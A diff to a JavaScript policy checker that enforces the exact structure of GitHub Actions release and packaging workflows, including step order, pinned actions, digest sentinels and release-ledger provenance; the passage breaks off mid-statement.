`${releaseFile} must cancel superseded proof runs before starting release work`, + ); add( violations, object(release.permissions)["pull-requests"] === "read", @@ -1598,6 +2714,14 @@ function validateReleaseCoordinator(workflows, violations, graph) { callPublish.required === false && callPublish.type === "boolean" && callPublish.default === false, `${releaseFile} workflow_call publish_release must be a fail-closed boolean`, ); + for (const input of ["calibration_bundle_artifact", "calibration_bundle_run_id"]) { + add( + violations, + at(release, "on", "workflow_call", "inputs", input) === undefined + && at(release, "on", "workflow_dispatch", "inputs", input) === undefined, + `${releaseFile} must not accept calibration bundle inputs; lineage comes from the frozen constant set`, + ); + } const dispatchExpectedHead = object(at(release, "on", "workflow_dispatch", "inputs", "expected_head_sha")); add( violations, @@ -1609,7 +2733,12 @@ function validateReleaseCoordinator(workflows, violations, graph) { at(release, "on", "workflow_dispatch", "inputs", "publish_release") === undefined, `${releaseFile} workflow_dispatch must not expose publication authority`, ); - requireNoCalibrationReferences(violations, releaseFile, release); + const releaseLineageStepName = "Verify release-head calibration lineage"; + add( + violations, + release.env === undefined && release.defaults === undefined, + `${releaseFile} release workflow must not override the release-head calibration execution environment`, + ); const policy = requireJob(violations, releaseFile, release, "workflow-policy"); // The reuse-binding contracts resolve real release commits, which a depth-1 // clone does not carry: it answered only while the referenced commit happened @@ -1635,9 +2764,25 @@ function validateReleaseCoordinator(workflows, violations, graph) { "scripts/tests/codestory-release-closeout.test.mjs", "scripts/tests/codestory-release-evidence-gate.test.mjs", ]); - requireStepRun(violations, releaseFile, policy, "Enforce workflow policy", ["node .github/scripts/check-workflow-policy.mjs"]); + requireStepRun(violations, releaseFile, policy, "Enforce workflow policy", [ + "node .github/scripts/check-workflow-policy.mjs", + // The recovery contract decides whether a lost host may withhold a claim, so the release's own + // policy gate must execute its tests before any proof runs. + "node --test .github/scripts/lost-runner-recovery.test.mjs", + ]); const preflight = requireJob(violations, releaseFile, release, "preflight"); + add( + violations, + hasExactKeys( + preflight, + ["name", "needs", "runs-on", "timeout-minutes", "outputs", "steps"], + ) + && preflight.name === "Release preflight" + && preflight["runs-on"] === "ubuntu-latest" + && preflight["timeout-minutes"] === 10, + `${releaseFile} preflight must retain the exact trusted job environment`, + ); add(violations, sameMembers(needs(preflight), releaseChain.dependencies.preflight), `${releaseFile} preflight dependencies must match the release claim graph`); requireStepRun(violations, releaseFile, preflight, "Validate release authority", [ 'if [ "$PUBLISH_RELEASE" = "true" ]; then', @@ -1652,6 +2797,52 @@ function validateReleaseCoordinator(workflows, violations, graph) { 'repos/$GITHUB_REPOSITORY/git/ref/heads/dev/codestory-next', "dev/codestory-next moved from proved head", ]); + const releaseLineage = namedStep(preflight, releaseLineageStepName); + add( + violations, + preflight.if === undefined + && preflight["continue-on-error"] === undefined + && hasExactKeys( + releaseLineage, + ["name", "id", "env", "shell", "working-directory", "run"], + ) + && releaseLineage?.id === "lineage" + && hasExactKeys(object(releaseLineage?.env), ["BASH_ENV", "PUBLISH_RELEASE"]) + && object(releaseLineage?.env).BASH_ENV === "/dev/null" + && object(releaseLineage?.env).PUBLISH_RELEASE === "${{ inputs.publish_release }}" + && releaseLineage?.shell === "/bin/bash --noprofile --norc -e -o pipefail {0}" + && releaseLineage?.["working-directory"] === "${{ github.workspace }}", + `${releaseFile} release-head calibration lineage must be unconditional and fail closed`, + ); + requireStepRun(violations, releaseFile, preflight, releaseLineageStepName, [ + "/usr/bin/python3 -E -s", + '"$GITHUB_WORKSPACE/.github/scripts/check-calibration-release-lineage.py"', + '--repo "$GITHUB_WORKSPACE"', + '--expected-sha "$GITHUB_SHA"', + "--allow-promotion-commit", + "selection_commit", + "selection_tree", + ]); + const preflightCheckout = namedStep(preflight, "Checkout"); + add( + violations, + hasExactKeys(preflightCheckout, ["name", "uses", "with"]) + && preflightCheckout?.uses === "actions/checkout@v5" + && hasExactKeys(object(preflightCheckout?.with), ["fetch-depth"]) + && object(preflightCheckout?.with)["fetch-depth"] === 0, + `${releaseFile} preflight checkout must retain the exact trusted shape`, + ); + add( + violations, + stepIndex(preflight, "Checkout") === 0 + && stepIndex(preflight, "Cancel superseded proof runs") === 1 + && stepIndex(preflight, releaseLineageStepName) === 2 + && stepIndex(preflight, releaseLineageStepName) + < stepIndex(preflight, "Validate release authority") + && stepIndex(preflight, releaseLineageStepName) + < stepIndex(preflight, "Verify release version"), + `${releaseFile} release-head calibration lineage must run immediately after checkout and before other release work`, + ); requireStepRun(violations, releaseFile, preflight, "Validate versioned changelog notes", [ "node .github/scripts/extract-codestory-release-notes.mjs", '--version "$VERSION"', @@ -1683,6 +2874,8 @@ function validateReleaseCoordinator(workflows, violations, graph) { "install-codestory-marketplace-proof.mjs", '--source-repository "$GITHUB_WORKSPACE"', "marketplace_revision=$marketplace_revision", + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `printf '%s' "$fixture_revision" | grep -Eq '^[0-9a-f]{40}$'`, // Fixture mode resolves from the locally built catalog, so provenance is // checked against that repository's own revision. Checking it against the // live revision can never match, which is how the fixture path shipped @@ -1699,9 +2892,33 @@ function validateReleaseCoordinator(workflows, violations, graph) { ); const source = requireJob(violations, releaseFile, release, "source-proof"); - add(violations, source.uses === "./.github/workflows/source-proof.yml", `${releaseFile} must call exact source proof`); + add( + violations, + createHash("sha256").update(JSON.stringify(source)).digest("hex") + === releaseSourceProofSentinelDigest, + `${releaseFile} source proof placeholder must match the reviewed fail-closed sentinel`, + ); + add( + violations, + source.uses === undefined + && source["runs-on"] === "ubuntu-latest" + && source["timeout-minutes"] === 1 + && permissionMapMatches(source.permissions, {}) + && object(source.env).SOURCE_SHA === "${{ github.sha }}", + `${releaseFile} source proof placeholder must fail closed without calling the broad source workflow`, + ); add(violations, sameMembers(needs(source), releaseChain.dependencies["source-proof"]), `${releaseFile} source proof dependencies must match the release claim graph`); - add(violations, object(source.with).ref === "${{ github.sha }}", `${releaseFile} source proof must receive the exact release SHA`); + requireStepRun( + violations, + releaseFile, + source, + "Refuse a second source proof", + [ + 'test "$SOURCE_SHA" = "$GITHUB_SHA"', + "Preflight did not resolve reusable exact-head source proof", + "exit 1", + ], + ); // Reuse is admissible only through the authenticated closeout binding, never by simply // dropping the gate: the job may be skipped, and only when preflight resolved reusable // evidence for this exact tree. @@ -1711,11 +2928,27 @@ function validateReleaseCoordinator(workflows, violations, graph) { `${releaseFile} source proof may be skipped only when preflight resolved reusable evidence`, ); requireStepRun(violations, releaseFile, requireJob(violations, releaseFile, release, "preflight"), "Resolve reusable prior evidence", [ - 'git rev-parse "$GITHUB_SHA^{tree}"', - "merge-base --is-ancestor", + 'release_tree="$(git rev-parse "$GITHUB_SHA^{tree}")"', + 'test "$(git rev-parse "$head_sha^{tree}")" = "$release_tree"', + 'git merge-base --is-ancestor "$head_sha" "$GITHUB_SHA"', "full-source-gate", '.path == ".github/workflows/source-proof.yml"', + '.event == "workflow_dispatch" and .conclusion == "success"', + "The release workflow will not start a broad proof", + 'artifact_name="release-cell-prepublish-source-attempt-$run_attempt"', + ".expired == false", + 'test "$artifact_count" = 1 || continue', ]); + forbidStepRun( + violations, + releaseFile, + requireJob(violations, releaseFile, release, "preflight"), + "Resolve reusable prior evidence", + [ + "release-freeze-barrier.mjs verify-status", + "freeze_receipt_digest", + ], + ); const closeout = requireJob(violations, releaseFile, release, "pre-publish-closeout"); requireStepRun(violations, releaseFile, closeout, "Authenticate pre-publish Actions provenance", [ '--reuse "$REUSE_SELECTION"', @@ -1726,7 +2959,13 @@ function validateReleaseCoordinator(workflows, violations, graph) { && String(closeout.if ?? "").includes("needs.preflight.result == 'success'"), `${releaseFile} closeout must accept a skipped source gate only alongside a successful preflight`, ); - add(violations, object(source.with).version === "${{ needs.preflight.outputs.version }}" && object(source.with).emit_release_cells === true, `${releaseFile} source proof must emit its authenticated release cell`); + add( + violations, + source.with === undefined + && source.uses === undefined + && list(source.steps).length === 1, + `${releaseFile} unreachable source fallback must remain a one-step fail-closed sentinel`, + ); const packaged = requireJob(violations, releaseFile, release, "packaged-proof"); add(violations, packaged.uses === "./.github/workflows/packaged-platform-proof.yml", `${releaseFile} packaged-proof must call the package workflow`); @@ -1832,10 +3071,14 @@ function validateReleaseCoordinator(workflows, violations, graph) { const preCloseout = requireJob(violations, releaseFile, release, "pre-publish-closeout"); add(violations, sameMembers(needs(preCloseout), releaseChain.dependencies["pre-publish-closeout"]), `${releaseFile} pre-publish closeout dependencies must match the release claim graph`); + // The producer map is the trust boundary between a real proof and a non-claim, so the closeout + // collects the lost-runner evidence itself instead of inheriting the non-claim producer's verdict. requireStepRun(violations, releaseFile, preCloseout, "Authenticate pre-publish Actions provenance", [ "producer-map", "--phase pre_publish", "artifact_ids", + "bash .github/scripts/collect-actions-job-evidence.sh", + "--job-evidence target/release-closeout/job-evidence.json", ]); const preDownload = namedStep(preCloseout, "Download selected pre-publish release cells"); add( @@ -1853,7 +3096,13 @@ function validateReleaseCoordinator(workflows, violations, graph) { requireStepRun(violations, releaseFile, preCloseout, "Evaluate authenticated pre-publish closeout", [ "--trusted-producers", "codestory-release-closeout.mjs evaluate", + '--version "$RELEASE_VERSION"', ]); + // The version the ledger is filed under reaches the evaluator as a variable, so the command text + // alone no longer says which release it closed out. + requireStepEnv(violations, releaseFile, preCloseout, "Evaluate authenticated pre-publish closeout", { + RELEASE_VERSION: "${{ needs.preflight.outputs.version }}", + }); const devRevalidation = namedStep(preCloseout, "Revalidate proof-only dev head"); add( violations, @@ -1870,10 +3119,27 @@ function validateReleaseCoordinator(workflows, violations, graph) { const publish = requireJob(violations, releaseFile, release, "publish"); add(violations, publish.if === "inputs.publish_release", `${releaseFile} publish must require trusted publication authority`); add(violations, sameMembers(needs(publish), releaseChain.dependencies.publish), `${releaseFile} publish dependencies must match the release claim graph`); + // The published platform table is a claim about this release, so it is rendered from the accepted + // ledger. Rendering it from the static graph is how a release whose accelerator proof was + // withheld still announced that accelerator as supported. + requireStepUses( + violations, + releaseFile, + publish, + "Download the accepted pre-publish closeout", + "actions/download-artifact@v8.0.1", + ); requireStepRun(violations, releaseFile, publish, "Compose versioned GitHub release notes", [ "node .github/scripts/extract-codestory-release-notes.mjs", "--output target/release-assets/release-notes.md", "node scripts/codestory-release-claims.mjs release-platform-notes", + "--ledger target/release-closeout/pre_publish/ledger.json", + ]); + // The ledger the README tells readers to consult has to be reachable from the release itself. + requireStepRun(violations, releaseFile, publish, "Ship the accepted closeout summary with the release", [ + "target/release-closeout/pre_publish/summary.json", + '"$(jq -r .decision "$summary")" = accept', + "target/release-assets/release-closeout-summary.json", ]); requireStepRun(violations, releaseFile, publish, "Refuse existing tag or release", [ 'git ls-remote --exit-code --tags origin "refs/tags/$TAG"', @@ -1890,6 +3156,18 @@ function validateReleaseCoordinator(workflows, violations, graph) { '"$live_head" != "$GITHUB_SHA"', "main moved from publishable head", ]); + const publishRun = shellLiteralNormalizedText(stepRun( + publish, + "Create GitHub release", + )); + add( + violations, + publishRun.includes("gh release create $TAG ${assets[@]}") + && publishRun.includes("find target/release-assets -maxdepth 1 -type f") + && !publishRun.includes("qualification-driver") + && !publishRun.includes("codestory_embedding_qualification"), + `${releaseFile} must publish only graph-declared root assets and exclude the private qualification driver`, + ); add(violations, !scalarStrings(release).some(value => value.includes("--generate-notes")), `${releaseFile} must use curated release notes`); const marketplacePublish = requireJob(violations, releaseFile, release, "marketplace-publish"); @@ -1924,33 +3202,77 @@ function validateReleaseCoordinator(workflows, violations, graph) { && object(tokenStep?.with).repositories === "AgentPluginMarketplace", `${releaseFile} marketplace token must be a SHA-pinned app token scoped to the marketplace repository`, ); + violations.push(...catalogDeliveryOutcomeViolations(releaseFile, marketplacePublish, catalogDelivery)); + // The version the catalog is pointed at reaches the push as a variable, so the command text no + // longer says which release it published. Both halves are pinned, as in the plugin lane. requireStepRun(violations, releaseFile, marketplacePublish, "Point the catalog at the published release", [ - "publish-marketplace-catalog.mjs", + '--version "$RELEASE_VERSION"', ]); + requireStepEnv(violations, releaseFile, marketplacePublish, "Point the catalog at the published release", { + RELEASE_VERSION: "${{ needs.preflight.outputs.version }}", + }); requireStepRun(violations, releaseFile, preflight, "Prove the public marketplace install path", [ "build-marketplace-fixture.mjs", "--local-fixture true", ]); const post = requireJob(violations, releaseFile, release, "post-publish-smoke"); - add(violations, post.if === "inputs.publish_release", `${releaseFile} post-publish smoke must require trusted publication authority`); add(violations, post.uses === "./.github/workflows/post-publish-release-smoke.yml", `${releaseFile} must call post-publish smoke`); add(violations, sameMembers(needs(post), releaseChain.dependencies["post-publish-smoke"]), `${releaseFile} post-publish dependencies must match the release claim graph`); + // The smoke still needs publication authority and a real published release, but a deferred + // catalog must not suppress proof of the assets that were actually published. + const postIf = String(post.if ?? ""); + add( + violations, + postIf.includes("always()") + && postIf.includes("inputs.publish_release") + && postIf.includes("needs.preflight.result == 'success'") + && postIf.includes("needs.publish.result == 'success'"), + `${releaseFile} post-publish smoke must require trusted publication authority and a successful publish`, + ); + // Not `.result` alone: `needs.marketplace-publish.outputs.catalog_published == 'true'` in the + // condition would reinstate exactly the hard catalog gate this change removed, under a + // different spelling. Nothing about the catalog job may appear in the condition at all; the + // delivery state reaches the smoke through `with:`, where it is data rather than a gate. + add( + violations, + !postIf.includes(`needs.${catalogDelivery.publish_job}`), + `${releaseFile} post-publish smoke must not gate on ${catalogDelivery.publish_job} in any form`, + ); + // THE anti-vacuity rule: the catalog claim may only ever be the recorded delivery state. A + // literal, an unrelated input, or any other expression would let a release assert a catalog + // update that never happened. + add( + violations, + object(post.with).catalog_published + === `\${{ needs.${catalogDelivery.publish_job}.outputs.catalog_published == 'true' }}`, + `${releaseFile} post-publish smoke must derive catalog_published from the recorded ${catalogDelivery.publish_job} outcome`, + ); add( violations, object(post.with).emit_release_cells === true && object(post.with).marketplace_revision - === "${{ needs.marketplace-publish.outputs.marketplace_revision }}" + === `\${{ needs.${catalogDelivery.publish_job}.outputs.marketplace_revision }}` && String(object(post.with).pre_publish_closeout_artifact ?? "").startsWith("release-closeout-pre-publish-"), `${releaseFile} post-publish smoke must consume the proved marketplace revision and accepted pre-publish ledger`, ); const postCloseout = requireJob(violations, releaseFile, release, "post-publish-closeout"); add(violations, postCloseout.if === "inputs.publish_release", `${releaseFile} post-publish closeout must require trusted publication authority`); add(violations, sameMembers(needs(postCloseout), releaseChain.dependencies["post-publish-closeout"]), `${releaseFile} post-publish closeout dependencies must match the release claim graph`); + // The closeout reached marketplace-publish only through the smoke, so removing the smoke's gate + // removed the closeout's too. Keep it that way rather than leaving it to be reintroduced here. + add( + violations, + !needs(postCloseout).includes(catalogDelivery.publish_job) + && !String(postCloseout.if ?? "").includes(`needs.${catalogDelivery.publish_job}`), + `${releaseFile} post-publish closeout must not gate on ${catalogDelivery.publish_job} succeeding`, + ); requireStepRun(violations, releaseFile, postCloseout, "Authenticate post-publish Actions provenance", [ "producer-map", "--phase post_publish", "artifact_ids", + "bash .github/scripts/collect-actions-job-evidence.sh", + "--job-evidence target/release-closeout/job-evidence.json", ]); const postDownload = namedStep(postCloseout, "Download selected release cells without flattening"); add( @@ -1969,7 +3291,11 @@ function validateReleaseCoordinator(workflows, violations, graph) { "--trusted-producers", "--pre-publish-ledger", "codestory-release-closeout.mjs evaluate", + '--version "$RELEASE_VERSION"', ]); + requireStepEnv(violations, releaseFile, postCloseout, "Evaluate authenticated post-publish closeout", { + RELEASE_VERSION: "${{ needs.preflight.outputs.version }}", + }); requireStepUses(violations, releaseFile, postCloseout, "Upload accepted post-publish closeout", "actions/upload-artifact@v7.0.1"); for (const [jobName, job] of [ ["Metal proof", metal], @@ -2017,9 +3343,25 @@ function expectedPostPublishRows() { ]; } +// The asset targets the default (full) scope actually builds. A step gated on +// matrix.asset_target is only reachable while its target survives here. +function packageMatrixAssetTargets(expression) { + const match = typeof expression === "string" && expression.match( + /\|\| '([^']+)'\) \}\}$/u, + ); + if (!match) return []; + try { + return list(object(JSON.parse(match[1])).include) + .map(row => object(row).asset_target) + .filter(target => typeof target === "string"); + } catch { + return []; + } +} + function validatePackageMatrixExpression(violations, expression, graph) { const match = typeof expression === "string" && expression.match( - /fromJSON\(inputs\.calibration_mode && '([^']+)' \|\| inputs\.scope == 'linux' && '([^']+)' \|\| inputs\.scope == 'windows' && '([^']+)' \|\| inputs\.scope == 'macos' && '([^']+)' \|\| '([^']+)'\)/u, + /fromJSON\(inputs\.scope == 'linux' && '([^']+)' \|\| inputs\.scope == 'windows' && '([^']+)' \|\| inputs\.scope == 'macos' && '([^']+)' \|\| '([^']+)'\)/u, ); if (!match) { violations.push("packaged-platform-proof.yml matrix must select structural JSON by scope"); @@ -2032,7 +3374,6 @@ function validatePackageMatrixExpression(violations, expression, graph) { const macosArm64 = graph.workflow_policy.package_matrix.find(({ asset_target: target }) => target === "macos-arm64"); const expected = [ - { include: [linuxX64] }, { include: [linuxX64] }, { include: [windowsX64] }, { include: [macosArm64] }, @@ -2054,6 +3395,12 @@ function validatePackagedProof(workflows, violations, graph) { violations.push(`${file} must exist`); return; } + add( + violations, + createHash("sha256").update(JSON.stringify(workflow)).digest("hex") + === packagedPlatformWorkflowDigest, + `${file} must match the reviewed canonical workflow structure`, + ); add(violations, trigger(workflow, "workflow_call") !== undefined, `${file} must be reusable`); const refInput = object(at(workflow, "on", "workflow_call", "inputs", "ref")); add( @@ -2067,6 +3414,8 @@ function validatePackagedProof(workflows, violations, graph) { requireOptionalStringInput(violations, file, workflow, "workflow_call", key); } for (const key of [ + "calibration_mode", + "quality_evidence_artifact", "candidate_installed_proof", "candidate_installed_only", "server_behavior_only", @@ -2093,8 +3442,8 @@ function validatePackagedProof(workflows, violations, graph) { const job = requireJob(violations, file, workflow, "build"); add( violations, - job["timeout-minutes"] === "${{ inputs.calibration_mode && 180 || (inputs.sign_macos && startsWith(matrix.asset_target, 'macos-') && 90 || 60) }}", - `${file} package build timeout must cover only calibration or signed macOS packaging`, + job["timeout-minutes"] === "${{ inputs.sign_macos && startsWith(matrix.asset_target, 'macos-') && 90 || 60 }}", + `${file} package build timeout must cover only signed macOS packaging`, ); add( violations, @@ -2120,6 +3469,20 @@ function validatePackagedProof(workflows, violations, graph) { && hermeticInput.type === "boolean", `${file} frozen Linux qualification must be explicit and off by default`, ); + const qualificationDriverInput = object(at( + workflow, + "on", + "workflow_call", + "inputs", + "include_qualification_driver", + )); + add( + violations, + qualificationDriverInput.required === false + && qualificationDriverInput.default === false + && qualificationDriverInput.type === "boolean", + `${file} private qualification-driver retention must be explicit and off by default`, + ); const shortWindowsTarget = namedStep(job, "Configure short Windows Cargo target"); const checkout = namedStep(job, "Checkout"); add( @@ -2146,6 +3509,36 @@ function validatePackagedProof(workflows, violations, graph) { && object(sccacheSetup?.with).version === "${{ env.SCCACHE_VERSION }}", `${file} must install the pinned sccache action and binary`, ); + const sccacheIdentity = namedStep(job, "Capture pinned sccache identity"); + add( + violations, + sccacheIdentity?.id === "sccache-identity" + && sccacheIdentity?.shell === "bash" + && sccacheIdentity?.env === undefined + && sccacheIdentity?.["continue-on-error"] === undefined + && stepIndex(job, "Capture pinned sccache identity") + === stepIndex(job, "Install pinned sccache") + 1, + `${file} must capture the pinned sccache identity immediately after installation`, + ); + requireExactRawStepScript( + violations, + file, + job, + "Capture pinned sccache identity", + packagedSccacheIdentityDigest, + "pinned sccache identity capture", + ); + requireStepRun(violations, file, job, "Capture pinned sccache identity", [ + 'sccache_path="$(command -v sccache)"', + 'if [[ "$RUNNER_OS" == "Windows" && "$sccache_path" != *.[eE][xX][eE] ]]', + 'sccache_path="${sccache_path}.exe"', + 'test -f "$sccache_path"', + 'test -x "$sccache_path"', + 'readFileSync(process.argv[1])', + "' \"$sccache_path\"", + 'echo "path=$sccache_path"', + 'echo "sha256=$sccache_sha256"', + ]); requireStepRun(violations, file, job, "Configure short Windows Cargo target", [ '$workspaceTarget = Join-Path $env:GITHUB_WORKSPACE "target"', '$runnerRoot = [System.IO.Path]::GetPathRoot($workspaceTarget)', @@ -2173,9 +3566,8 @@ function validatePackagedProof(workflows, violations, graph) { violations, nativeIdentity?.id === "build-cache" && nativeIdentity?.shell === "bash" - && object(nativeIdentity?.env).CALIBRATION_MODE === "${{ inputs.calibration_mode }}" - && object(nativeIdentity?.env).QUALITY_EVIDENCE_ARTIFACT - === "${{ inputs.quality_evidence_artifact }}" + && object(nativeIdentity?.env).CALIBRATION_MODE === undefined + && object(nativeIdentity?.env).QUALITY_EVIDENCE_ARTIFACT === undefined && nativeIdentityRun.includes(`--namespace ${graph.workflow_policy.promotion.packaged_cache_namespace}`) && nativeIdentityRun.includes('--exact-sha "$EXACT_SHA"') && nativeIdentityRun.includes('--os "$RUNNER_OS"') @@ -2190,9 +3582,11 @@ function validatePackagedProof(workflows, violations, graph) { && nativeIdentityRun.includes("--lock-file Cargo.lock") && nativeIdentityRun.includes("--cargo-config .cargo/config.toml") && nativeIdentityRun.includes("--identity cargo_incremental=0") - && nativeIdentityRun.includes("qualification_driver=disabled") - && nativeIdentityRun.includes("qualification_driver=enabled") - && nativeIdentityRun.includes('--identity "qualification_driver=$qualification_driver"') + && object(nativeIdentity?.env).INCLUDE_QUALIFICATION_DRIVER + === "${{ inputs.include_qualification_driver }}" + && nativeIdentityRun.includes( + '--identity "qualification_driver=$INCLUDE_QUALIFICATION_DRIVER"', + ) && nativeIdentityRun.includes(".cargo/llama-dynamic-backends.cmake") && nativeIdentityRun.includes("git ls-files '*Cargo.toml'") && nativeIdentityRun.includes("model-contract.json") @@ -2269,8 +3663,8 @@ function validatePackagedProof(workflows, violations, graph) { ); const compilerSaveIndex = stepIndex(job, "Save compiler objects after compilation"); for (const lateStep of [ - "Prove native workspace path identity", - "Test immutable native staging on Windows", + "Prove production feature identity", + "Prove production feature identity on Windows", "Sign and notarize macOS CLI", "Package release asset", "Package release asset on Windows", @@ -2299,40 +3693,106 @@ function validatePackagedProof(workflows, violations, graph) { "--save-result", "--path \"$SCCACHE_DIR\"", ]); - requireStepRun(violations, file, job, "Compile immutable native staging regression on Windows", [ - "cargo test --release --locked", - "--test native_staging", - "--no-run", - ]); - requireStepRun(violations, file, job, "Compile native workspace path regression on Windows", [ - "cargo test --locked -p codestory-workspace repository_identity --no-run", - ]); + add( + violations, + namedStep(job, "Compile immutable native staging regression on Windows") === undefined + && namedStep(job, "Compile native workspace path regression on Windows") === undefined, + `${file} Windows package proof must not compile either regression in a second Cargo invocation`, + ); + const packageBuild = namedStep(job, "Build package and qualification driver"); + const linuxBuild = namedStep(job, "Build Linux x64 at the glibc 2.31 baseline"); + const expectedSccacheIdentityEnv = { + SCCACHE_BINARY: "${{ steps.sccache-identity.outputs.path }}", + SCCACHE_SHA256: "${{ steps.sccache-identity.outputs.sha256 }}", + }; requireStepRun(violations, file, job, "Build Linux x64 at the glibc 2.31 baseline", [ - 'mkdir -p "$CARGO_HOME" "$SCCACHE_DIR"', + 'test -x "$SCCACHE_BINARY"', + 'test "$actual_sccache_sha256" = "$SCCACHE_SHA256"', "RUSTC_WRAPPER=/sccache/sccache", "SCCACHE_DIR=/sccache/cache", "CMAKE_C_COMPILER_LAUNCHER=/sccache/sccache", "CMAKE_CXX_COMPILER_LAUNCHER=/sccache/sccache", - "$SCCACHE_PATH:/sccache/sccache:ro", + "$SCCACHE_BINARY:/sccache/sccache:ro", "$SCCACHE_DIR:/sccache/cache", - "/sccache/sccache --stop-server", ]); + const expectedLinuxBuildEnv = { + ...expectedSccacheIdentityEnv, + INCLUDE_QUALIFICATION_DRIVER: "${{ inputs.include_qualification_driver }}", + RELEASE_RUST_TARGET: "${{ matrix.rust_target }}", + }; + add( + violations, + linuxBuild?.if === "matrix.asset_target == 'linux-x64'" + && linuxBuild?.shell === "bash" + && hasExactKeys(object(linuxBuild?.env), Object.keys(expectedLinuxBuildEnv)) + && Object.entries(expectedLinuxBuildEnv).every( + ([key, value]) => object(linuxBuild?.env)[key] === value, + ) + && linuxBuild?.["continue-on-error"] === undefined, + `${file} Linux container must strictly report and stop its owned compiler server`, + ); + requireExactRawStepScript( + violations, + file, + job, + "Build Linux x64 at the glibc 2.31 baseline", + packagedLinuxBuildDigest, + "Linux container build and compiler-server ownership", + ); + const stopCompilationClock = namedStep(job, "Stop compilation clock"); + add( + violations, + stopCompilationClock?.id === "compile-clock-stop" + && stopCompilationClock?.shell === "bash" + && stopCompilationClock?.env === undefined + && stopCompilationClock?.["continue-on-error"] === undefined, + `${file} compiler clock stop must remain a strict telemetry-only boundary`, + ); + requireExactRawStepScript( + violations, + file, + job, + "Stop compilation clock", + packagedCompileClockStopDigest, + "compiler clock stop", + ); const finalizeCompilerObjects = namedStep(job, "Finalize compiler objects"); add( violations, - String(finalizeCompilerObjects?.if ?? "") - .includes("steps.linux-build.outcome == 'success'") - && String(finalizeCompilerObjects?.if ?? "") - .includes("steps.qualification-driver.outcome != 'skipped'") - && String(finalizeCompilerObjects?.if ?? "") - .includes("steps.package-build.outcome == 'success'"), - `${file} must stop the compiler server that performed each selected build`, + String(finalizeCompilerObjects?.if ?? "").trim() + === "always() && steps.package-build.outcome == 'success'" + && finalizeCompilerObjects?.shell === "bash" + && hasExactKeys( + object(finalizeCompilerObjects?.env), + Object.keys(expectedSccacheIdentityEnv), + ) + && Object.entries(expectedSccacheIdentityEnv).every( + ([key, value]) => object(finalizeCompilerObjects?.env)[key] === value, + ) + && finalizeCompilerObjects?.["continue-on-error"] === undefined + && packageBuild?.if === "matrix.asset_target != 'linux-x64'", + `${file} host finalizer must strictly stop only the host package-build compiler server`, + ); + requireExactRawStepScript( + violations, + file, + job, + "Finalize compiler objects", + packagedHostCompilerFinalizerDigest, + "host compiler-server finalizer", + ); + add( + violations, + stepIndex(job, "Stop compilation clock") + === stepIndex(job, "Build Linux x64 at the glibc 2.31 baseline") + 1 + && stepIndex(job, "Finalize compiler objects") + === stepIndex(job, "Stop compilation clock") + 1, + `${file} compiler owner build, clock stop, and finalizer must remain adjacent`, ); add( violations, - compilerSaveIndex > stepIndex(job, "Build codestory-cli") - && compilerSaveIndex > stepIndex(job, "Build Linux x64 at the glibc 2.31 baseline") - && compilerSaveIndex > stepIndex(job, "Build qualification driver"), + compilerSaveIndex > stepIndex(job, "Build package and qualification driver") + && compilerSaveIndex > stepIndex(job, "Build Linux x64 at the glibc 2.31 baseline"), `${file} compiler cache must save after every selected compilation step`, ); add( @@ -2340,7 +3800,7 @@ function validatePackagedProof(workflows, violations, graph) { stepIndex(job, "Build pinned Linux toolchain image") < stepIndex(job, "Start compilation clock") && stepIndex(job, "Stop compilation clock") - > stepIndex(job, "Build qualification driver") + > stepIndex(job, "Build package and qualification driver") && stepIndex(job, "Stop compilation clock") < compilerSaveIndex && stepIndex(job, "Start compiler cache save clock") > stepIndex(job, "Save Cargo dependency inputs") @@ -2365,66 +3825,285 @@ function validatePackagedProof(workflows, violations, graph) { `${file} Bullseye native build must preserve compiler contract ${fragment}`, ); } - const packageBuild = namedStep(job, "Build codestory-cli"); add( violations, - packageBuild?.env === undefined, - `${file} native package build must not override the selected generator`, + packageBuild?.shell === "bash" + && hasExactKeys(object(packageBuild?.env), [ + "INCLUDE_QUALIFICATION_DRIVER", + "RELEASE_RUST_TARGET", + "SOURCE_SHA", + "SOURCE_TREE", + ]) + && object(packageBuild?.env).INCLUDE_QUALIFICATION_DRIVER + === "${{ inputs.include_qualification_driver }}" + && object(packageBuild?.env).RELEASE_RUST_TARGET + === "${{ matrix.rust_target }}" + && object(packageBuild?.env).SOURCE_SHA + === "${{ steps.source-identity.outputs.sha }}" + && object(packageBuild?.env).SOURCE_TREE + === "${{ steps.source-identity.outputs.tree }}", + `${file} native package build must not override the selected generator and must bind the reviewed target and qualification workload`, ); requireStepRun(violations, file, job, "Smoke codestory-cli on Windows", [ - "$env:CARGO_TARGET_DIR", - "${{ matrix.rust_target }}/release/codestory-cli", + '$bin = "$env:WINDOWS_CLI"', + "throw \"Windows CLI version smoke failed", + "throw \"Windows CLI help smoke failed", ]); + const windowsCliSmoke = namedStep(job, "Smoke codestory-cli on Windows"); + add( + violations, + windowsCliSmoke?.if === "runner.os == 'Windows'" + && windowsCliSmoke?.shell === "pwsh" + && hasExactKeys(object(windowsCliSmoke?.env), ["WINDOWS_CLI"]) + && object(windowsCliSmoke?.env).WINDOWS_CLI + === "${{ steps.package-build.outputs.cli }}" + && windowsCliSmoke?.["continue-on-error"] === undefined, + `${file} Windows CLI smoke must execute only the exact release binary selected from Cargo output`, + ); requireStepRun(violations, file, job, "Package release asset on Windows", [ - "$env:CARGO_TARGET_DIR", - "${{ matrix.rust_target }}/release/codestory-cli", + "cargo-build-artifacts.mjs verify", + '--manifest "$env:ARTIFACT_MANIFEST"', + '--source-sha "$env:SOURCE_SHA"', + '--source-tree "$env:SOURCE_TREE"', + '--rust-target "$env:RELEASE_RUST_TARGET"', + '$bin = "$env:WINDOWS_CLI"', "package-codestory-release.py", "--binary $bin", ]); + const windowsPackage = namedStep(job, "Package release asset on Windows"); + add( + violations, + windowsPackage?.if === "runner.os == 'Windows'" + && windowsPackage?.shell === "pwsh" + && hasExactKeys(object(windowsPackage?.env), [ + "ARTIFACT_MANIFEST", + "INPUT_VERSION", + "RELEASE_RUST_TARGET", + "SOURCE_SHA", + "SOURCE_TREE", + "WINDOWS_CLI", + ]) + && object(windowsPackage?.env).ARTIFACT_MANIFEST + === "${{ steps.package-build.outputs.manifest }}" + && object(windowsPackage?.env).WINDOWS_CLI + === "${{ steps.package-build.outputs.cli }}" + && object(windowsPackage?.env).SOURCE_SHA + === "${{ steps.source-identity.outputs.sha }}" + && object(windowsPackage?.env).SOURCE_TREE + === "${{ steps.source-identity.outputs.tree }}" + && windowsPackage?.["continue-on-error"] === undefined, + `${file} Windows packaging must verify and package only 